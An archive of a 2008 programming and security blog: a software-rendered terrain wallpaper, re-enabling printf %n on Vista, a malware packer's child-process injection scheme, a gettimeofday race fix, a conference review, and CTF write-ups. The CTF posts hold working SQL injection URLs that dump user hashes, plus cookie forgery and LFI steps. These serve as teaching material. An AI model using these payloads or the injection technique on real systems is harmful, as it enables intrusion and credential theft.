|
About a half year ago I decided that I need an animated (as in "generated realtime") desktop wallpaper. I thought it should not use 3D acceleration (no OpenGL/D3D), the FPS should not be to high (2-3 frames per seconds were totally fine with me), and if possible, it should use more then one core (up to 4). I've started to write code, and, as always, didn't finish it. However, something does show on the screen, and imho it ain't all bad, so I decided to write a little on what is it, and how does it work - maybe someone will find it interesting ;> (the images are clickable, except the heightmap; the code for Windows/Mac/Linux and a short video is available at the bottom of the post).
At the left side of the screen there is (should be) a screenshot of an image generated by the app (the terrain does not move, only the lights do). Just in case someone does not recognize what it is (or, what is should be), it's a piece of ice-like, not-textured, terrain with a piece of sky. I'll just add the in the current version of the app the mouse pointer is the source of the light (well, more accurate is to say that the light source is bound to the mouse pointer, because it's a little above the mouse pointer in reality). And now, an illustrated guide to making such an app.
The base of everything is a 4097x4097 pixel heightmap (see the thumbnail on the right, the full-size version is in the source pack as a 4097x4097x8 RAW file; the size of the heightmap is related to my desktop size - 3200x1200 (dual head 2x1600x1200)). The heightmap is rendered into 3D using a funny method based on drawing vertical 1-pixel-wide vertical bars, whose size is determined by the value at the specific point of the heightmap. This process is started at the upper left corner of the screen/heightmap, and goes to the end of the row, and then to the next one, and so on. The bare bottom (base) is at the same point as is the point in the heightmap - so the bars basically overlap each other. The following image might clear things out:

As one may see, the heightmap is a bit blurred at the top, and more sharp at the bottom. The objective of this blur is to simulate the details-vanishing-with-distance-increase effect. It could be of course done by code (it's just a Gauss blur with increasing radius), but I guessed it's OK to do it manually.
The heightmap is transformed one more time before it's finally rendered. The objective of the final transformation is to add perspective, and it's again, quite simple. It works this way - the bars that are deepest (the once drawn first) have the lowest height ratio factor, and the closest bars have the heights ratio factor. This is calculated in the MakePicture() function by the following code:
for(z = 0; z < HMAP_DEPTH; z++) { float mody = powf((float)(1 + HMAP_DEPTH - z), 0.1); for(x = 0; x < HMAP_WIDTH; x++) hmap[x + z * HMAP_WIDTH] /= mody; }
The hmap array contains of course the heightmap. To mark the depth I've used 'z' instead of 'y'. HMAP_DEPTH and HMAP_WIDTH is the size of the heightmap (4097). If this transformation would not be used, the terrain would look like the one on the left. The perspective factor is a matter of taste actually, and imho both images (with and without the fix) look OK ("in certain light that is").
The next step is to calculate the normals (vectors showing which way is the "side of a rock" pointed). I've cheated a little here, and used a formula to calculate normal vector for a triangle, loosing some precision in the process (since one "side of a rock" is made of 4 points, and I use just 3). The normals are calculated using the data from the heightmap (X, the point height, and Z), after applying the perspective fix, for every 2x2 quad on the heightmap (which is about the same as 'for every pixel on the heightmap'). The following code is responsible for it:
// Make a triangle float max_y_prev[3] = { hmap[(x - 0) + (z - 0) * HMAP_WIDTH], hmap[(x - 1) + (z - 0) * HMAP_WIDTH], hmap[(x - 0) + (z - 1) * HMAP_WIDTH] }; Vector3D vp_all[3] = { Vector3D( (float)x, (float)max_y_prev[0], (float)z ), Vector3D( (float)(x-1), (float)max_y_prev[1], (float)z ), Vector3D( (float)x, (float)max_y_prev[2], (float)(z-1) ) }; // Calc normal for that triangle // XXX the correct way should have two triangles with some avg. normal, but who cares ;p PreNormalMap[x + z * HMAP_WIDTH] = calc_normal(vp_all);
[...] Vector3D calc_normal(Vector3D v[3]) { Vector3D out = Vector3D(0,0,0); Vector3D v1, v2;
// Do some math v1 = v[0] - v[1]; v2 = v[1] - v[2];
out.x = v1.y*v2.z - v1.z*v2.y; out.y = v1.z*v2.x - v1.x*v2.z; out.z = v1.x*v2.y - v1.y*v2.x;
// Normalize out.Norm();
// Done return out; }
The outcome can bee seen on the right (the normal vector is as usual shown as XYZ->RGB). After zooming the image, one will notice the overall noisiness of the picture - this is the results of using a method that takes into consideration just 3 points, where is should use more points (16?). To remove the noise I use a standard blur 3x3->1x1. The blur is coded in the same function (MakePicture()). The code for every pixel looks like this:
// This is a simple blur and nothing more NormalMap[x + z * HMAP_WIDTH] = ( PreNormalMap[x - 1 + z * HMAP_WIDTH] + PreNormalMap[x + z * HMAP_WIDTH] + PreNormalMap[x + 1 + z * HMAP_WIDTH] + PreNormalMap[x - 1 + (z + 1) * HMAP_WIDTH] + PreNormalMap[x + (z + 1) * HMAP_WIDTH] + PreNormalMap[x + 1 + (z + 1) * HMAP_WIDTH] + PreNormalMap[x - 1 + (z - 1) * HMAP_WIDTH] + PreNormalMap[x + (z - 1) * HMAP_WIDTH] + PreNormalMap[x + 1 + (z - 1) * HMAP_WIDTH]) * (1.0f / 9.0f);
The normal map after the blur looks better (see the image on the left). Hence the normal calculation take a while, they are cached to a file normal.cache at first run (it weights about 200mb).
Now back to the bars. Since drawing a bar takes longer then drawing a pixel (no surprise here), I could not draw bars in real-time. However, some precalculating here can be also made. Drawing bars of position indexes instead of colors will result in creating a translation array screen-%gt;heightmap. This is the last thing done in the MakePicture function, and the implementation looks like this (this is done for each point of the height map):
// Get the heightmap data float max_y = hmap[x + z * HMAP_WIDTH]; // Bar top and bottom int y_from = (HEIGHT - 1) - (int)base_y + 100; int y_to = (HEIGHT - 1) - (int)base_y - (int)max_y + 100;
// Does reach out of the screen ? Fir it then if(y_from < 0) y_from = 0; if(y_to < 0) y_to = 0; if(y_from > HEIGHT - 1) y_from = HEIGHT - 1; if(y_to > HEIGHT - 1) y_to = HEIGHT - 1;
// Lift the minimal y ? if(y_to < total_min_y) total_min_y = y_to; // Yep
// "Draw" the bar for(y = y_from; y > y_to; y--) { RenderCache[x + y * WIDTH] = x + z * HMAP_WIDTH; }
The calculation of minimal value of y is another speed up, that says "don't waste time on rows that don't exists" - it's used to change the limit of final drawing rectangle's top side from 0 to minimal y.
And now a short break for a brief note on the rendering architecture of the application. The described above MakePicture() function is run just once at the beginning of the program, even before the window is created. The rest of the program is kinda interactive, and it's run in a loop. Since the pixel colors do not depend on each other (each pixel color is calculated separately in a pixel-shader-like function), the whole operation can be easily divided into parts that are executed in different threads. In my case I use 4 threads (since I've got a quad CPU in my desktop), where each thread renders a quarter of the screen (the screen is divided horizontally of course). Apart from the renderer threads, there are also two other low-duty threads. The first one coordinates the renderer threads (it mainly sleeps, and when it wakes up, it flips the screen using SDL_Flip()) and the second one handles the mouse/keyboard/window/etc events. As far as "what is what" goes... the Render() function is the final "pixel shader" (software pixel shader of course), RenderWorker() basically just calls Render() and handles thread communication/synchronizing ('comm/sync' are overstatements). The RenderProc() draws the sky (just once, not in every frame), and synchronizes the renderer threads, sleeps, and calls SDL_Flip(). The last function is main() which at the end has an event handling function.
A half of a sentence on the sky - it's just an old-boring gradient, no dynamic calculation of sky color are present. The code the ddraws the gradient looks like this:
// Generate background // float bg_start[3] = { 32.0f, 69.0f, 113.0f }; float bg_start[3] = { 96.0f, 128.0f, 190.0f }; //float bg_end[3] = { 168.0f, 228.0f, 236.0f }; float bg_end[3] = { 255.0f, 255.0f, 255.0f }; float bg_diff[3] = { (bg_end[0] - bg_start[0]) / (float)(HEIGHT*18/40), (bg_end[1] - bg_start[1]) / (float)(HEIGHT*18/40), (bg_end[2] - bg_start[2]) / (float)(HEIGHT*18/40) };
// Render the background (it has to be done only once) for(y = 0; y < HEIGHT; y++, bg_start[0] += bg_diff[0], bg_start[1] += bg_diff[1], bg_start[2] += bg_diff[2] ) { for(x = 0; x < WIDTH; x++) { img[x + y * WIDTH].b = (unsigned char)bg_start[0]; img[x + y * WIDTH].g = (unsigned char)bg_start[1]; img[x + y * WIDTH].r = (unsigned char)bg_start[2]; } }
It's pretty simple, so I'll skip the description.
Time to describe the "pixel shader". The final effect consists of 3 things: 1) a "fog" that is a function of distance between the observer and a point on the heightmap, and something that could be called an 'ambient light' 2) diffusive light 3) specular light Both lights, when in comes to the formula, are a little cheated - I've changed the formula a few times during testing, because the effect wasn't as good as I've expected with the standard formulas. First, the background color (a simple interpolation of two colors at fog start and end) and the vector from the light to the pixel is calculated. Then a dot product is calculated, and finally, the lights are. The dot product results can be shown using gray scale images. The images below show the dot product when the light source is high left and low right:

The final code responsible for calculating the final color for each pixel looks like this (on the right there are some images: 1st is fog + ambient, 2nd is diffusive light mark in red color, and the 3rd is the specular light drawn in red):
static float fg_start[3] = { 23.0f, 38.0f, 61.0f }; static float fg_end[3] = { 200.0f, 237.0f, 243.0f }; static float fg_diff[3] = { (fg_end[0] - fg_start[0]) / (float)(HMAP_DEPTH), (fg_end[1] - fg_start[1]) / (float)(HMAP_DEPTH), (fg_end[2] - fg_start[2]) / (float)(HMAP_DEPTH) };
[...]
// Get the height float max_y = hmap[idx]; z = idx / HMAP_WIDTH;
// Calc color Vector3D color = Vector3D( (fg_start[0] + fg_diff[0] * (float)z) / 255.0, (fg_start[1] + fg_diff[1] * (float)z) / 255.0, (fg_start[2] + fg_diff[2] * (float)z) / 255.0 );
Vector3D vp_color = color;
// Sun light
// Setup vectors Vector3D vp = Vector3D( (float)x, (float)max_y, (float)z );
Vector3D L = sun_pos - vp;
L.Norm(); Vector3D N = NormalMap[idx];
float per = 0; per = ((float)(z/* - 2*HMAP_WIDTH/4*/) / (float)HMAP_DEPTH); per *= per; per *= per; per *= per; per = 1.0f - per;
// Diffusive float dot; dot = L.Dot(NormalMap[idx]); if (dot < 0.0) { float diff = -dot * 0.1f * per; // Play with this to get nice effects color += (sun_color * vp_color) * diff; }
// Diffusive 2 if (dot < -0.2) { float diff = dot*dot*dot*dot*dot*dot * 0.5f * per; // Play with this to get nice effects color += sun_color * diff; }
// Specular Vector3D R = L - N * L.Dot(N) * 2.0l; Vector3D Cs = Vector3D(0, max_y, max_y); Cs.Norm(); dot = Cs.Dot(R); if (dot < 0.0) { dot = pow(dot, 40.0); float spec = dot * (0.2f * per); // Play with this to get nice effects color += sun_color2 * spec; }
// Check if(color.arr[0] > 1.0f) color.arr[0] = 1.0f; if(color.arr[1] > 1.0f) color.arr[1] = 1.0f; if(color.arr[2] > 1.0f) color.arr[2] = 1.0f;
// Write pixel color // Uncomment other shaders to see the normals or the dot product
// Shader - full img[x + y * WIDTH].b = (unsigned char)(color.arr[0] * 255.0f); img[x + y * WIDTH].g = (unsigned char)(color.arr[1] * 255.0f); img[x + y * WIDTH].r = (unsigned char)(color.arr[2] * 255.0f);
Changing the color of the sky and terrain can lead to some more or less interesting results:

The images can be GIMPed too ;D

And that is all for today. As an "epilogue" - some links to code and movies:
Sky.zip (6mb) - source using SDL (SDL required, 1.2.12), Linux/Windows/MacOSX, bundled with heightmap Sky_SDL.zip (6mb) - source using SDL (SDL required, 1.2.12) + Windows executable, bundled with heightmap Sky_Gdi.zip (10kb) - source using WinAPI (GDI), Windows only, no heightmap sky.avi (1mb) - a video
How to compile:
Windows Vista SP1 (g++ Sky.cpp Vector3D.cpp -lSDL) MacOSX 10.5.5 (g++ `sdl-config --cflags` Sky.cpp Vector3D.cpp `sdl-config --libs`) Ubuntu 8.10 (g++ `sdl-config --cflags` Sky.cpp Vector3D.cpp `sdl-config --libs`)
No comments
| | 2008-10-23: Format bug, Vista and %n |
Recently I've talked with my teammate oshogbo about the format bug (aka format string attack), and when we got to testing a sample code, a thing that should work - the %n tag, didn't work at all. What's more interesting, this behavior was Vista specific, since everything else worked well on XP. I've decided to take a look inside, and here's what I've found out...
The default C-RunTime Library (msvcrt.dll) on Vista seems to have %n disabled by default - security reasons of course (well, Google showed a few pages with devs complaining that their application don't work on vista because of that, but thats the price of security I guess). As is written on MSDN (see Security Note), tag %n can be enabled back again using the _set_printf_count_output function. And that would be a good solution for my little problem, but I've quite quickly learned that for some unknown reason this function is NOT exported by the msvcrt.dll which is in my system directory (it's the default one). What's more interesting, I didn't see the function being exported in msvcp60.dll, msvcp70.dll or msvcp71.dll either. However, it was exported in msvcp90.dll (I didn't check msvcp8X.dll).
So. I want to use %n, but I cannot, because my app uses the default msvcrt. How to solve this issue? There is a couple of solutions:
1) I should switch from using msvcrt.dll to msvcp90.dll. And that would solve the problem, however it would require me to distribute this DLL with my project, because it's not on the system by default. 2) I should find the function _set_printf_count_output in msvcrt (it's there, just not exported), and use it by the address. But what if somebody else has a different msvcrt? Signatures then! What if the signature doesn't fit? Well, this isn't the best way. However, just for tests, I've decided to implement the method with static addresses:
#include <windows.h> #include <stdio.h>
int main(void) { int (*_get_printf_count_output)(void) = (int(*)(void))((char*)GetModuleHandle("msvcrt.dll") + 0x6FCD8001 - 0x6FC60000); int (*_set_printf_count_output)(int) = (int(*)(int)) ((char*)GetModuleHandle("msvcrt.dll") + 0x6FC750B5 - 0x6FC60000);
int n = 0; printf("alamakota\n%n", &n); printf("n=%i\n", n);
printf("%i\n", _get_printf_count_output()); printf("%i\n", _set_printf_count_output(1)); printf("%i\n", _get_printf_count_output());
printf("alamakota\n%n", &n); printf("n=%i\n", n);
return 0; }
Compile and run:
21:10:32 gynvael >gcc test.c
21:10:36 gynvael >a alamakota n=0 0 0 1 alamakota n=10
It works! But it still sucks. So I've got back to msvcrt analysis looking for another way. And I've found out that _set_printf_count_output is called by something that is called by the DllMain, but, it's only called (with 1 in the argument) if the PE header of the executable file has Linker Version (MajorLinkerVersion and MinorLinkerVersion in OptionalHeader) set to 6.0 (interesting condition, I didn't knew that something used the linker field in PE). Anyway, as a test has shown, this actually works. The code below changes the linker version to 6.0 (some error checks are missing of course):
fixprintf.c (1kb)
Compile, and test on the previously mentioned executable:
21:10:36 gynvael >gcc fixprintf.c -o fixprintf.exe
21:17:13 gynvael >fixprintf.exe a.exe done...
21:17:15 gynvael >a.exe alamakota n=10 1 1 1 alamakota n=10
And that's the end of Vista story for today. I'll just add that there has been a proposal to add -malt-ISO-printf option to GCC, which would make the app use printf from MinGW instead of the msvcrt one.
PS. I wonder what other things will happen when the linker version is set to 6.0. Oshogbo told me that switching linker to 6.0 does in fact break the app at his place when %n is used. Hmm, thats interesting. I'll look how come some other time.
No comments
| | 2008-10-21: An interesting anti-RE schema |
Some time ago I've analyzed a piece of malware, which was protected using an interesting schema...
As one may know, each PE packer does two things: 1. It compresses/encrypts the original application code 2. It adds a loader, which decompresses/decrypts the original code at runtime, and executes it This way we get a packed exe from an original exe, which decrypts at runtime.
The loader used in the mentioned malware theoretically does the same thing, except, it decrypts to a child process. It does it the following way: 1. It takes the path/filename to it's executable file (GetModuleFileName) 2. It creates a new, suspended (CREATE_SUSPENDED), process, based on it's own exe file (CreateProcess) 3. It decompresses/decrypts the data, but each decrypted element is written to a proper place in the child process (WriteProcessMemory backed up by VirtualProtectEx) 4. It moves the EntryPoint to the decrypted code. I don't recall how he did that, but there are a few ways - starting with using the SetThreadContext and changing the EIP (I wouldn't recommend that) or some other register in which the EP is stored (hint: see in which moment the main thread is stopped when CREATE_SUSPENDED is used), up to injecting a PUSH Addr + RET at OEP. 5. And then, it resumed the thread of the child process (ResumeThread).
The above schema has pros and cons, as everything. Lets start with the good things: - OllyDbg for some strange reason doesn't show processes (when Attaching) that are stopped after CREATE_SUSPENDED (but one can set OllyDbg as JIT-Debugger, and use RMB/Debug in TaskMgr) - Having to switch the debugger to another (child) process sucks (and this sucks even more if the child creates yet another child, and so on) - It's not a common scheme, so it can acquire another few minutes for the application - before it's cracked (maybe it's a standard packer which I know nothing about?) - The AV emulators will have a hard time checking this schema (of course if the mother-exe would be detected by a signature, then it's a completely different story)
Now the bad things (why this is not so good): - WriteProcessMemory is everything but fast (but the data could be transfered in bigger chunks...) - A breakpoint at ResumeThread and an image dump solves this issue - and we don't have to worry about EP to much either - The dynamic unpacking is easy to make automagic
However, one might want to extend this protection, and make the child processes communicate with each other (for example sending some data between them) - then debugging this is not pleasant at all (however the speed will lower). Maybe I'll try this out someday and throw the code somewhere here hehe...
OK, the end.
No comments
| | 2008-10-15: Missing gettimeofday function and a race condition |
Todays post will be an out of order one, and it will be dedicated to the function gettimeofday on the Windows system, or to be precise, the lack of this function.
With my friend we are working on porting some application to, inter alia, the Windows systems. The application was written some time ago, and it's using the previously mentioned gettimeofday function to read time (surprise). The function is not present in the ANSI standard, and it was just recently drawn into the IEEE Std 1003.1:2001 (POSIX) standard, so, as one may expect, it not present in the Microsoft C Runtime Library (aka msvcrt.dll), or any other standard Windows library that I have seen while searching for the function. Hence the need to implement it (we didn't won't to use any existing implementation, since reading the license would take more time then writing the function).
And now, a few short (well, not really short) words about the gettimeofday function. First, the prototype:
int gettimeofday(struct timeval *tp, struct timezone *tpz);
As one can see, gettimeofday takes two structures (pointer to ofc) which are filled by the function (there is no const before the variable type, so the function probably changes the structured data that it receives pointers to). Let's start with the second structure - as it's written in the man, it's not used (well, at least under Linux, but never mind that) ;>
The use of the timezone struct is obsolete: the tz_dsttime field has never been used under Linux; it has not been and will not be supported by libc or glibc. Each and every occurrence of this field in the ker- nel source (other than the declaration) is a bug. Thus, the following is purely of historic interest.
So one struct less to worry about, and only struct timeval is left on the battlefield. It's a standard (in a very narrow meaning of the word) struct that has two fields, which are of course defined in a few different ways:
Linux Programmer's Manual:
struct timeval { time_t tv_sec; /* seconds */ suseconds_t tv_usec; /* microseconds */ };
MinGW sys/time.h:
struct timeval { long tv_sec; long tv_usec; };
The comments in the quote from the manual explain everything, but since I want to make sure it's obvious to everybody, I'll write it again - the struct has two fields, the first one - tv_sec - contains a Unix Time Stamp, while the second one - tv_usec - contains microseconds (10E-6, it contains values from 0 to 999999). The second field is used to rise the precession of the time information contained in the structure.
Back to the function. As one can see, all that needs to be done is filling both fields. To makes things even simpler, I'll assume that the precession of the second field can be on the miliseconds level (10E-3). So, to fill the first field, a call to the time(NULL) function is sufficient (since it returns a time stamp). As for the field tv_usec, there are few possible choices. Personally I've chosen GetLocalTime from WinAPI, which fills a SYSTEMTIME structure, which contains, inter alia, fields wMilliseconds and wSeconds (it's the seconds from the start of this minute, not a unix time stamp).
An example implementation of gettimeofday looks like this:
int gettimeofday (struct timeval *tp, struct timezone *tzp) { SYSTEMTIME st;
/* timezone is obsolute according to UNIX man pages */ (void) tzp;
/* Set time */ tp->tv_sec = (long) time (NULL);
/* Get time info from the system */ GetLocalTime (&st); tp->tv_usec = (long) st.wMilliseconds * 1000; /* return success, nothing there to fail */ return 0; }
Yep, and the function is ready. Thats all for today, see you later ;>
Whaaa? ^_-; What about the race condition you've written about in the title ???
Hehe, just joking. We just got to the most interesting part.
The function implementation is OK at the first sight. The seconds are received in the first call, inserted into the struct, then the second call acquires the miliseconds, and also inserts them into the structure. However, there is one evil case, in which the distance between two time points, A and B (B happens after A) is negative (B-A < 0). This happens when the call to time(NULL) function takes place in the last "moment" of a second (for example, one nanosecond is left to the end of the second), and the call to GetLocalTime takes place when the second counter already increments. In that case, the miliseconds are set to 0 (or something around 0), while the second field is still set to the previous second (so the first call to gettimeofday may return 10.998, but the next one might return 10.001). Let's make this happen:
int main (void) { struct timezone tzp; static struct timeval tp[2];
int i = 0, j;
while (1) { gettimeofday (&tp[i], &tzp); j = !i;
/* until the future is in the past */ if(tp[i].tv_sec == tp[j].tv_sec && tp[i].tv_usec < tp[j].tv_usec) break;
i = j; }
printf ("%u.%u\n", tp[j].tv_sec, tp[j].tv_usec); printf ("%u.%u\n", tp[i].tv_sec, tp[i].tv_usec);
return 0; }
Compile and run:
22:38:04 gynvael >gcc gettime.c -DRACE_CONDITION_TEST
22:38:41 gynvael >a 1223930327.999000 1223930327.0
22:38:48 gynvael >
As one can see, after 8 seconds of execution, the 'evil case' took place.
This problem has to be solved in some way. Let's ignore the leap seconds for a moment, and do it in a very simple way - let's check if the last decimal digit of the seconds returned by time() and GetLocalTime() is the same - if not, and the 'incrementation' took place, and we have to increment our seconds too.
The final code looks like this:
int gettimeofday (struct timeval *tp, struct timezone *tzp) { SYSTEMTIME st;
/* timezone is obsolute according to UNIX man pages */ (void) tzp;
/* Set time */ tp->tv_sec = (long) time (NULL);
/* Get time info from the system */ GetLocalTime (&st); tp->tv_usec = (long) st.wMilliseconds * 1000;
/* Anti race condition sec fix * When the milliseconds are at 999 at the time of call to time(), and at * 999+1 = 0 at the time of the GetLocalTime call, then the tv_sec and * tv_usec would be set to one second in the past. To correct this, just * check if the last decimal digit of the seconds match, and if not, add * a second to the tv_sec. */ if (tp->tv_sec % 10 != st.wSecond % 10) tp->tv_sec++; /* return success, nothing there to fail */ return 0; }
It may not be the best method to solve this problem, however it's quite fast (well, the best method would be to use some other function to get both fields filled, but then again, I wouldn't have anything to write about ;>)
I encourage the readers to think about a solution, and leave a comment about the stupidity of my solution =^^=
OK, this time it's the end for real. Thank for reading and c u next time ;>
PS. congratz for IceWall for bypassing my "captcha" system =^^= I'll make a 'second level captcha' when I have some time =^^=
5 comments
Blah, I left the translation of the previous news from PL to EN for "tomorrow morning", and the "tomorrow morning" became "next week". But since the next week is here... let's talk about Sex baby^H^H^H^H^H^H^H^H SekIT 2008 (see my previous posts too).
SekIT 2008 was a new polish conference, that took place for the first time this year. And it was all in polish. Now why would a polish language security conference interest and English-speaking reader? Well, since this conference was successful, the next one is planed to be an international English-language one. So maybe my review will help You decide next year if it is worth coming to Poland for the next SekIT.
OK, so as I stated, SekIT 2008 was the first SekIT conference ever and it made by people (SapoArt) who didn't seem to have organized previously any security conference. So I didn't have any big expectations for it. But it turned out to be great! >
The lecturers were invited to Opole city a day earlier, and were accommodated in a very cool hotel (the hotel was really solid, so a big plus for the orgs). On that evening, a dinner for the lecturers and the organizers was to take place, but I got to know some lecturers a few hours before that, when we went to get something to it in a local pizzeria - I met there Iwo Graj (from securityreason.com) and his fiancée. Later, we landed in Borys's room, where Adam Zabrocki (aka pi3) and Łukasz Raczyło joined us. Later the dinner finally took place, and I could meet the rest of the speakers (with few exceptions), and after that, we tried to do the impossible - find an unoccupied table in some pub (which, on Friday evening, was of course impossible), just to finally get back to the hotel to finish the slide shows for the next day...
The conference began at 8am in the night (nope, it's not 8am in the morning... 10am is in the morning, 8am is still the night ;p). The interesting thing is that there was no standard registration desk - as I have learned, the orgs have sent the IDs to the participants earlier by analog mail - it's quite a good idea, and saves some time too... although I think the Polish Post is the weak chain link here, but it seemed that the orgs had prepared for it as well.
I must admit that the lectures were good, both interesting and entertaining. The one I like the best, was pi3's lecture on exploiting on Linux x86, especially that he added some tasty morsels at the end (seems that TCP/IP spoofing is not as dead as one might think). The guys from BotHunters blog - Borys and Patryk - made a great lecture on botnets, Łukasz Raczyło showed common mistakes in web security, with tasty examples, and dr Andrzej Niemiec had a great summarizing talk on security on the national/international level. Additionally, Dariusz Puchalak showed that SSH is a quite large toolbox (he'll talk about it again on IT Underground this year), Piotr Oleszkiewicz demonstrated theoretical and applied web security (with a very cool device that I would like to get my hands on... but since it costs like 4*10^5$, I don't think I'm buying it soon ;>). Michał's lecture was not really my area, so I can't say much about it, and the lawyers lecture turned into a discussion panel that lasted until the lunch was almost cold - the most funny part was when someone asked if he is obligated to give the police the decryption key to his hard disk - the lawyer replied that if he doesn't, the police will decrypt it anyway - the statement really amused the audience ;>
Well, the lunch was delicious =^^=. I could talk with some interesting people (greetz to the sir in Linux jumper, whom I can't recall by name, and of course to KaGieBe, Unknow, Vitro and j4ck ;>).
And so the official part of the conference ended (around 9pm). The speakers had another dinner, which turned to yet another discussion panel that lasted until 1am. In the morning I got back to Wrocław, and that would be the end of SekIT for me.
Summing up... SekIT 2008 was a great conference, and so, next year, be sure to come. I will be there for sure =^^=. The orgs did a great job (some minor mistakes could be noted, but nothing that cannot be corrected in the future edition), the lectures were interesting and the food was great =^^=. So good work SapoArt, thanks to all the great people I got to meet, and c u next year ;>
And that would be all for today.
ps. seems that hackerchallenge was moved to the next week...
No comments
| | 2008-09-30: Hacker Challenge 2008 |
It looks like that on 13th of October the first phase of this years Hacker Challenge starts - it's a tournament for RE organized by some unknown company from the USA. Well, I see that they cut down on the prizes this year, it must be the crisis. Anyway, since all the places in the tournament have some prize with it, I encourage REs to take part.
https://hackerchallenge.org/
No comments
| | 2008-09-30: Security Days - task 3, 4 |
The new post is so late because I've got sucked in by C++ the previous Fridays night, and released Monday in the morning (with a few short breaks for sleeping, and another break which I used to go to the cinema to see Babylon A.D., which imho is a quite good and action packet movie, and it has a great dark climate, but the ending... well, it's easy to see that the studio has cut out 70 minutes of the movie, even when the director opposed... guess we'll just have to wait for the uncut directors version).
OK, back to the topic! It's time to describe the 3rd task of SD6 QR.
I'll be very brief on the 3rd task, because was a standard SQL injection (not even a blind one) on MySQL 5.X, with INFORMATION_SCHEMA available for usage. In a variable dzial= ("dzial" stands for "section") there was an SQLI, which you exploited in the following way:
http://xe.securitydays.pl/zad3/index.html?dzial=3 and 0 union select 1,(select table_name from information_schema.tables WHERE table_schema=database() limit 0,1 ) -- http://xe.securitydays.pl/zad3/index.html?dzial=3 and 0 union select 1,(select COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_SCHEMA=database() and table_name=0x7363745573657273 limit 0,1 ) -- http://xe.securitydays.pl/zad3/index.html?dzial=3 and 0 union select 1,(select concat(id,0x20,name,0x20,password,0x20,email) from sctUsers limit 0,1 ) --
As one can see, there is no magic here. Few simple SQL queries got us almost to the end of the task. The last query allowed us to obtain a list of e-mails and password, which looked like this:
1 admin 279f4d9d7c0a5e40024301d04c7959ef m.niedoceniany@topsecurity 2 jnieomylny c534beb518778104480270bbcbced23d j.nieomylny@topsecurity 3 mhojna 24efc2b5af7ac8fecfcc694d523e7385 m.hojna@topsecurity 4 apropaganda 2034f6e32958647fdff75d265b455ebf a.propaganda@topsecurity (secretpassword) 5 zprzebiegla f1edec0f984fef1d681d2ce0d281618 z.przebiegla@topsecurity 6 mpomocny f39c915bc6df36e8b40eccd1975e9e50 m.pomocny@topsecurity
I'll add that Google (lately it's my favorite MD5 cracker) known only the hash of user apropaganda, which was equal to md5 of 'secretpassword', which one could use to login into the system. However, the task was to access the admin account. And here appeared a vulnerability (if I remember correctly a similar vuln was found in the past in PHPBB) - mainly in the cookies were stored user/pass/id of the logged in user, where the password was really an MD5 sum of the password. Since the things we got from the SQL table were the things we needed, one just had to substitute the values in the cookies with user/pass/id of the admin user. Click, reload, and the task is done.
Onto the 4th task. Imho it was great, and I can say that (imho ofc ;>) it was the most interesting task on SD6. The scenario - same as always - there is a website of a fictional company Top$ecurity, and one had to get into the administrator panel. It was hard to decide which way to go at the beginning, since many vectors of attack occurred, and most of them were a dead end. The correct vector of attack was one of the new subsections on the site with charts of the financial results of the company in past years. Such chart looked like this:

And it came up that the chart was generated by a PHP script zysk_gfx/plot.php ("zysk" is "profit") with a parameter year= that had been given a year, like 2003, 2004, etc, and it generated a chart using the data for the given year. I must admin that the year parameter was the last place I checked for an LFI (a standard LFI checked - inserting ./ before the parameter), and it came out that there is in fact an LFI here - 2003 etc were just file names with no extension. Each file was 231 bytes long, and had contained raw data (as in "binary" - one byte - one value) for the chart.
Using this LFI you could access any file. Hoooowever... there were two problems. 1st - you could read up to 245 bytes, and not a byte more. 2nd - the file will be drawn as a chart ;>. Luckily, the chart was precise, so writing a small program that reads a chart and writes out text on stdout will do the job.
For example, the chart of 'admin.php' file (I've guessed the name of the file) looks like this:

I took the chart, converted it into .RAW (naked bitmap format, no headers, just pure RGB data), and thrown it into a badly written application that gave me the text. The application code looks like this:
#include <gynlibs.cpp>
#pragma pack(1) struct RGB { unsigned char r,g,b; };
LONG_MAIN(argc,argv) { unsigned char *data; data = FileGetContent(argv[1], NULL); RGB *rgb = (RGB*)data;
int start_x = 22; int start_y = 276;
int i, j; for(i = start_x; i < 500; i+=2) { for(j = start_y; j > 0; j--) { if(rgb[500 * j + i].r == 255 && rgb[500 * j + i].g == 0 && rgb[500 * j + i].b == 0) { putchar(start_y - j + 1); break; } }
}
return 0; }
As one can see, I didn't even check if argv[1] is not NULL, but whatever. I've used a library called gynlibs.cpp, which is one of my libs containing various strange functions. It's badly written, but still pretty handy. If you are interested, you can download it here (let's say it's public domain.. there is no magic there anyway).
The above code fed by a RAW file produces the following script:
<?php
if ( ! isset($_POST['login']) || ! isset($_POST['password']) ) { header("Location: ../"); }
$userName = "marcin"; $md5Hash = "87f75ce3f908a819a9a2c77ffeffcc38";
if ( $_POST['login'] != $userName || md5($_POST['password'
The above hash is md5('compiler') (Google found it). As one can see, it's enough to prepare some POST form, and the task was done.
As one can see, it was not really super difficult (and good, that day I had like 3 hours to break both tasks before leaving with Borys for the SekIT conference... luckily I've managed ;>), however it still was very interesting and uncommon ;>
The next post will probably be about SekIT 2008, and later I'll get back to describing the SD6 tasks (there is still task 5 and 6 left from QR, and the tasks from the finals).
OK, thats it ;>
No comments
| | 2008-09-25: Security Days 6 - task 2 |
It's 3am, and I have some time to finally write about the next tasks at SD6. Well, but since it's 3am, and I'm a little tired, I'll just describe one task (that will be the task from the second day) for now (the rest will be described later). Btw, Polish speaking users can find the solutions on the official forum of SD6.
On to the task...
The second task was similar to the first one - break into the admin panel of some website. The page was constructed like the one from Day 1, but with the difference that there was no LFI, and the section names were in ASCII, not base64 as before (for example - /zad2/?page=ofirmie). One of the things that was easy to spot (well, if u have Live HTTP headers and Firebug with Firecookie turned on that is) was that the site sets a cookie - id=12345 (where 12345 was some random number). Playing with the cookie a little made the server show a PHP warning message that was related to /zad2/incl/setid.inc script. The directory incl was listable, and there were some other files there too, including admin.inc that had the following script inside:
<?php /* TopSecurity - Unhackable technologies! */ /* M.Niedoceniany - m.niedoceniany@ts.labs */ /* (c) by TopSecurity 2oo8 */
include("admin/admin.php");
/* debug? */
if ( $_GET['debug'] ) { $del = abs((abs($_GET['del'])%0x7ffffff0)) + 1; $ins = abs((abs($_GET['inc'])%0x7ffffff0)) + 1; } else { $del = 1; $ins = 1; }
/* auth stuff */
if ( isset($_POST['login']) && isset($_POST['password']) ) {
echo '<tr><td>';
if ( $_GET['debug'] ) { echo '<!-- '; echo levenshtein($adminPass, $_POST['login'] . $_POST['password'], $ins, 1, $del); echo '-->'; }
